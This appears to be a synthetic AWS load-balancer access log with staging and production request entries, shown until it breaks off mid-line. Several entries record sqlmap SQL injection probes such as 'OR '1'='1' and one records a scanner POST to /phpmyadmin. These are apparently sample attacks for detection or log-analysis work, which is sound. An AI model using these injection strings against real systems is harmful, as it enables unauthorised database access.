187.22.17.53:54098 98.205.214.190:443 0.139540 0.665383 0.037286 200 200 584 11886 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b806-5b88818b002749c7ab0ef078" "staging-alb.example.com" "-" 0 2024-11-01T00:01:58.139085Z "forward" "-" "-" "98.205.214.190:443" "200" "-" "-" +http 2024-11-01T00:01:59.018170Z staging-alb 82.109.76.39:41000 161.180.10.194:443 0.070049 0.051248 0.131330 200 200 600 14557 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b807-9a64eda8692e44248ad7a40d" "staging-alb.example.com" "-" 7 2024-11-01T00:01:59.018170Z "forward" "-" "-" "161.180.10.194:443" "200" "-" "-" +http 2024-11-01T00:02:00.780755Z staging-alb 182.183.199.203:36999 168.179.16.112:8080 0.075358 0.642683 0.082240 200 200 367 9808 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b808-1487be5da39e43b1a8a13661" "-" "-" 5 2024-11-01T00:02:00.780755Z "forward" "-" "-" "168.179.16.112:8080" "200" "-" "-" +http 2024-11-01T00:02:01.118124Z staging-alb 205.168.118.66:24542 171.40.135.133:443 0.125890 0.692281 0.090654 301 301 329 9340 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b809-60cf0d2b2f8549aebbdb219a" "staging-alb.example.com" "-" 5 2024-11-01T00:02:01.118124Z "forward" "-" "-" "171.40.135.133:443" "301" "-" "-" +https 2024-11-01T00:02:02.047100Z prod-api-alb 5.230.217.253:47474 10.0.254.58:443 0.025594 0.457561 0.066191 404 404 811 1117 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b80a-a60f77e7ebbd4fcfad87a256" "prod-api-alb.example.com" "-" 3 2024-11-01T00:02:02.047100Z "forward" "-" "-" "10.0.254.58:443" "404" "-" "-" +https 2024-11-01T00:02:02.656517Z prod-api-alb 192.237.179.185:59795 10.0.30.102:443 0.065350 0.190797 0.094464 200 200 539 2269 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b80a-2700086f2bf84b638349959f" "prod-api-alb.example.com" "-" 6 2024-11-01T00:02:02.656517Z "forward" "-" "-" "10.0.30.102:443" "200" "-" "-" +http 2024-11-01T00:02:04.331350Z staging-alb 185.181.118.169:52870 225.79.48.9:8080 0.134534 0.244637 0.096449 403 403 363 7121 "POST /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b80c-15fc78400b1148dc84ee8310" "-" "-" 5 2024-11-01T00:02:04.331350Z "forward" "-" "-" "225.79.48.9:8080" "403" "-" "-" +https 2024-11-01T00:02:06.187448Z prod-api-alb 214.57.74.160:52363 10.0.5.29:443 0.003370 0.356660 0.081303 404 404 717 6479 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b80e-0c4e1858379042e1b605e356" "prod-api-alb.example.com" "-" 5 2024-11-01T00:02:06.187448Z "forward" "-" "-" "10.0.5.29:443" "404" "-" "-" +https 2024-11-01T00:02:06.303715Z prod-api-alb 216.64.234.146:37576 10.0.254.9:443 0.033557 0.235521 0.038816 404 404 294 12155 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b80e-37a9050e4f1540ea86111890" "prod-api-alb.example.com" "-" 3 2024-11-01T00:02:06.303715Z "forward" "-" "-" "10.0.254.9:443" "404" "-" "-" +https 2024-11-01T00:02:08.278474Z prod-web-alb 155.50.121.32:63580 10.0.11.205:443 0.041565 0.249241 0.033222 200 200 572 809 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b810-6b16f4eac48b44c1bc74e947" "prod-web-alb.example.com" "-" 7 2024-11-01T00:02:08.278474Z "forward" "-" "-" "10.0.11.205:443" "200" "-" "-" +https 2024-11-01T00:02:09.035857Z prod-api-alb 73.84.121.239:52590 10.0.33.86:443 0.062329 0.262809 0.042357 200 200 712 11327 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b811-6e7f81c9f32c4f788a26906b" "prod-api-alb.example.com" "-" 7 2024-11-01T00:02:09.035857Z "forward" "-" "-" "10.0.33.86:443" "200" "-" "-" +https 2024-11-01T00:02:10.967354Z prod-web-alb 248.253.50.98:33056 10.0.253.228:443 0.080354 0.233342 0.001580 200 200 652 13721 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b812-d6e0c901bc1740b4a118dc01" "prod-web-alb.example.com" "-" 10 2024-11-01T00:02:10.967354Z "forward" "-" "-" "10.0.253.228:443" "200" "-" "-" +https 2024-11-01T00:02:11.367296Z prod-web-alb 84.93.167.244:17979 10.0.237.43:443 0.061299 0.346760 0.039121 200 200 755 14430 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b813-3ea8669aa69d48ebaa646c80" "prod-web-alb.example.com" "-" 6 2024-11-01T00:02:11.367296Z "forward" "-" "-" "10.0.237.43:443" "200" "-" "-" +https 2024-11-01T00:02:12.177302Z staging-alb 8.253.148.223:60567 124.51.138.195:443 0.067295 0.058879 0.086278 404 404 408 1919 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b814-3a02e8a1c2354670be51b9a7" "staging-alb.example.com" "-" 7 2024-11-01T00:02:12.177302Z "forward" "-" "-" "124.51.138.195:443" "404" "-" "-" +https 2024-11-01T00:02:12.401292Z prod-web-alb 94.93.3.122:33258 10.0.16.228:443 0.062177 0.239639 0.057444 200 200 240 5488 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b814-b151d2737d1840f5b2ef0a55" "prod-web-alb.example.com" "-" 7 2024-11-01T00:02:12.401292Z "forward" "-" "-" "10.0.16.228:443" "200" "-" "-" +https 2024-11-01T00:02:13.862783Z prod-web-alb 5.233.109.167:23093 10.0.28.24:443 0.004070 0.345276 0.064668 301 301 56 6124 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b815-0be415d5a4e94985a28a6a78" "prod-web-alb.example.com" "-" 6 2024-11-01T00:02:13.862783Z "forward" "-" "-" "10.0.28.24:443" "301" "-" "-" +https 2024-11-01T00:02:14.587961Z staging-alb 15.83.107.223:63861 150.10.183.253:443 0.092636 0.344314 0.036935 200 200 985 8627 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b816-c867e280362f4cdaa2dc4c3f" "staging-alb.example.com" "-" 1 2024-11-01T00:02:14.587961Z "forward" "-" "-" "150.10.183.253:443" "200" "-" "-" +https 2024-11-01T00:02:16.172475Z prod-web-alb 185.181.118.169:16129 10.0.192.211:443 0.095217 0.468572 0.050779 200 200 990 1288 "POST /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b818-16a01a382d0e47f8ac7f081b" "-" "-" 10 2024-11-01T00:02:16.172475Z "forward" "-" "-" "10.0.192.211:443" "200" "-" "-" +https 2024-11-01T00:02:17.073938Z prod-web-alb 185.181.2.252:35288 10.0.236.220:443 0.023567 0.311920 0.066816 302 302 130 2848 "POST /phpmyadmin HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b819-3003f705519d4443942f6fe4" "-" "-" 6 2024-11-01T00:02:17.073938Z "forward" "-" "-" "10.0.236.220:443" "302" "-" "-" +https 2024-11-01T00:02:18.122958Z prod-api-alb 12.15.31.113:12064 10.0.224.43:443 0.026268 0.238277 0.070225 404 404 743 5082 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b81a-bd6d0c230747463d8828c1d3" "prod-api-alb.example.com" "-" 6 2024-11-01T00:02:18.122958Z "forward" "-" "-" "10.0.224.43:443" "404" "-" "-" +https 2024-11-01T00:02:19.180064Z prod-web-alb 240.204.0.201:46494 10.0.199.177:443 0.053192 0.004498 0.079394 200 200 901 14474 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b81b-073eab2e953540eb9bd613b5" "prod-web-alb.example.com" "-" 1 2024-11-01T00:02:19.180064Z "forward" "-" "-" "10.0.199.177:443" "200" "-" "-" +https 2024-11-01T00:02:20.851663Z prod-web-alb 38.73.36.147:19393 10.0.169.130:443 0.046255 0.149247 0.007550 301 301 921 10494 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b81c-b7898d2ffc5247558948a916" "prod-web-alb.example.com" "-" 9 2024-11-01T00:02:20.851663Z "forward" "-" "-" "10.0.169.130:443" "301" "-" "-" +https 2024-11-01T00:02:22.460494Z staging-alb 2.28.196.193:19576 81.220.180.240:80 0.123002 0.729575 0.068715 302 302 886 5645 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b81e-5ea077edd3fc4c99bd696896" "staging-alb.example.com" "-" 3 2024-11-01T00:02:22.460494Z "forward" "-" "-" "81.220.180.240:80" "302" "-" "-" +https 2024-11-01T00:02:22.685283Z prod-web-alb 73.209.43.106:50521 10.0.23.226:443 0.082815 0.075867 0.077366 302 302 505 11150 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b81e-b7cf3ab7610a4181b4bc751b" "prod-web-alb.example.com" "-" 8 2024-11-01T00:02:22.685283Z "forward" "-" "-" "10.0.23.226:443" "302" "-" "-" +https 2024-11-01T00:02:23.865559Z prod-api-alb 154.30.13.91:59383 10.0.161.43:443 0.083794 0.000091 0.081565 302 302 27 11254 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b81f-14353d641d24466ba0d8e34e" "prod-api-alb.example.com" "-" 1 2024-11-01T00:02:23.865559Z "forward" "-" "-" "10.0.161.43:443" "302" "-" "-" +https 2024-11-01T00:02:25.100330Z staging-alb 73.76.75.71:46444 184.204.191.33:8080 0.091288 0.525599 0.098418 200 200 619 5137 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b821-bf8e166da5514666a0a59f45" "-" "-" 10 2024-11-01T00:02:25.100330Z "forward" "-" "-" "184.204.191.33:8080" "200" "-" "-" +http 2024-11-01T00:02:26.335930Z staging-alb 29.248.220.244:25311 61.247.176.253:443 0.054347 0.574508 0.085610 302 302 723 12606 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b822-099b396e09784a42b12e2af4" "staging-alb.example.com" "-" 2 2024-11-01T00:02:26.335930Z "forward" "-" "-" "61.247.176.253:443" "302" "-" "-" +http 2024-11-01T00:02:27.680268Z staging-alb 185.181.118.169:15591 3.27.249.134:8080 0.109260 0.625717 0.003986 200 200 230 7103 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b823-902e398774994eb691699186" "-" "-" 4 2024-11-01T00:02:27.680268Z "forward" "-" "-" "3.27.249.134:8080" "200" "-" "-" +https 2024-11-01T00:02:28.783746Z staging-alb 119.51.163.47:21721 230.135.114.185:443 0.084620 0.648578 0.080806 200 200 230 5727 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b824-a16a29c09de940b9840ba6ba" "staging-alb.example.com" "-" 6 2024-11-01T00:02:28.783746Z "forward" "-" "-" "230.135.114.185:443" "200" "-" "-" +https 2024-11-01T00:02:29.690697Z prod-web-alb 2.168.243.36:42992 10.0.205.240:443 0.069844 0.001994 0.003553 301 301 198 12033 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b825-28f2efa103e441c1b8fab372" "prod-web-alb.example.com" "-" 4 2024-11-01T00:02:29.690697Z "forward" "-" "-" "10.0.205.240:443" "301" "-" "-" +http 2024-11-01T00:02:31.246093Z staging-alb 46.109.143.200:58148 111.135.127.105:443 0.018532 0.551961 0.076608 404 404 44 11754 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b827-a5e60c29d1d84e09902b2b5b" "staging-alb.example.com" "-" 5 2024-11-01T00:02:31.246093Z "forward" "-" "-" "111.135.127.105:443" "404" "-" "-" +http 2024-11-01T00:02:32.072797Z staging-alb 233.254.166.104:23176 60.191.100.174:443 0.010012 0.492236 0.035006 200 200 186 12513 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b828-4cb8084bed8846978487ecf8" "staging-alb.example.com" "-" 10 2024-11-01T00:02:32.072797Z "forward" "-" "-" "60.191.100.174:443" "200" "-" "-" +https 2024-11-01T00:02:32.777059Z prod-api-alb 67.185.140.20:52134 10.0.91.250:443 0.089093 0.476553 0.051831 301 301 904 8665 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b828-9ee43429f03949af9e720eb0" "prod-api-alb.example.com" "-" 3 2024-11-01T00:02:32.777059Z "forward" "-" "-" "10.0.91.250:443" "301" "-" "-" +https 2024-11-01T00:02:34.253818Z prod-web-alb 148.176.113.190:12094 10.0.85.82:443 0.038363 0.396885 0.057471 301 301 700 5226 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b82a-1e3362c7f9264dbc92518169" "prod-web-alb.example.com" "-" 8 2024-11-01T00:02:34.253818Z "forward" "-" "-" "10.0.85.82:443" "301" "-" "-" +https 2024-11-01T00:02:34.566428Z prod-web-alb 83.154.72.73:43253 10.0.172.247:443 0.033141 0.333070 0.040631 302 302 286 427 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b82a-f3af5c65685f4ae8b5edb98e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:02:34.566428Z "forward" "-" "-" "10.0.172.247:443" "302" "-" "-" +http 2024-11-01T00:02:35.048367Z staging-alb 58.96.192.42:15738 211.211.5.61:8080 0.127060 0.415805 0.015077 200 200 692 5311 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b82b-c38a9bac999d408db1151397" "staging-alb.example.com" "-" 10 2024-11-01T00:02:35.048367Z "forward" "-" "-" "211.211.5.61:8080" "200" "-" "-" +https 2024-11-01T00:02:36.787811Z prod-api-alb 117.149.67.116:44365 10.0.17.23:443 0.026547 0.259529 0.030926 200 200 956 10216 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b82c-9c3d0502a4d747d79d7d342f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:02:36.787811Z "forward" "-" "-" "10.0.17.23:443" "200" "-" "-" +https 2024-11-01T00:02:37.444449Z prod-web-alb 52.88.120.38:43028 10.0.106.33:443 0.021938 0.377757 0.010402 200 200 27 4250 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b82d-24345e94c0aa4facb996b648" "prod-web-alb.example.com" "-" 8 2024-11-01T00:02:37.444449Z "forward" "-" "-" "10.0.106.33:443" "200" "-" "-" +https 2024-11-01T00:02:38.673102Z prod-api-alb 201.215.0.111:23685 10.0.204.60:443 0.016260 0.058289 0.024558 200 200 303 1103 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b82e-24db6a301fed4f7c9837fb0c" "prod-api-alb.example.com" "-" 7 2024-11-01T00:02:38.673102Z "forward" "-" "-" "10.0.204.60:443" "200" "-" "-" +https 2024-11-01T00:02:40.523372Z prod-api-alb 59.93.101.188:31174 10.0.85.30:443 0.091133 0.498716 0.033026 200 200 674 14454 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b830-bb6ef20181cf429a9c304fd3" "-" "-" 10 2024-11-01T00:02:40.523372Z "forward" "-" "-" "10.0.85.30:443" "200" "-" "-" +http 2024-11-01T00:02:41.604148Z staging-alb 94.15.90.123:63722 239.15.104.8:80 0.012823 0.122620 0.057786 200 200 480 14566 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b831-98b42f3ff1994ac0b6655f16" "staging-alb.example.com" "-" 0 2024-11-01T00:02:41.604148Z "forward" "-" "-" "239.15.104.8:80" "200" "-" "-" +https 2024-11-01T00:02:42.790127Z staging-alb 70.54.222.2:29841 222.251.200.112:443 0.065018 0.214303 0.104185 302 302 120 11981 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b832-db813ec372a74bcf90af1461" "staging-alb.example.com" "-" 6 2024-11-01T00:02:42.790127Z "forward" "-" "-" "222.251.200.112:443" "302" "-" "-" +http 2024-11-01T00:02:43.861227Z staging-alb 196.184.166.51:17254 38.231.96.49:443 0.053738 0.264605 0.041448 200 200 7 4132 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b833-bc90f1656cf740d48af83319" "staging-alb.example.com" "-" 3 2024-11-01T00:02:43.861227Z "forward" "-" "-" "38.231.96.49:443" "200" "-" "-" +http 2024-11-01T00:02:44.929164Z staging-alb 79.216.214.71:49825 54.244.151.87:8080 0.126935 0.051674 0.019517 301 301 887 10096 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b834-ee5d0c73bf124e07ae8d243f" "staging-alb.example.com" "-" 3 2024-11-01T00:02:44.929164Z "forward" "-" "-" "54.244.151.87:8080" "301" "-" "-" +https 2024-11-01T00:02:45.549847Z staging-alb 161.173.238.53:59807 102.118.131.200:80 0.104013 0.437780 0.094382 302 302 899 8577 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b835-77d0bfdf0abb4edd8a6b238e" "staging-alb.example.com" "-" 2 2024-11-01T00:02:45.549847Z "forward" "-" "-" "102.118.131.200:80" "302" "-" "-" +http 2024-11-01T00:02:45.677829Z staging-alb 188.53.66.82:30078 212.16.135.234:8080 0.101852 0.608168 0.040302 302 302 630 4180 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b835-554e0ee6130444bbb0ae1ca1" "staging-alb.example.com" "-" 5 2024-11-01T00:02:45.677829Z "forward" "-" "-" "212.16.135.234:8080" "302" "-" "-" +https 2024-11-01T00:02:46.336451Z prod-api-alb 201.83.165.102:10953 10.0.243.114:443 0.058064 0.416154 0.098956 302 302 984 4499 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b836-33ca076fe5754fe7b5c85f40" "prod-api-alb.example.com" "-" 7 2024-11-01T00:02:46.336451Z "forward" "-" "-" "10.0.243.114:443" "302" "-" "-" +https 2024-11-01T00:02:47.912737Z prod-web-alb 152.82.254.127:31770 10.0.93.205:443 0.097428 0.094777 0.035560 200 200 730 6093 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b837-d15a65c59271458ab00225f6" "prod-web-alb.example.com" "-" 3 2024-11-01T00:02:47.912737Z "forward" "-" "-" "10.0.93.205:443" "200" "-" "-" +https 2024-11-01T00:02:48.523708Z prod-web-alb 176.177.131.199:10961 10.0.15.70:443 0.094980 0.228144 0.055387 200 200 961 7483 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) 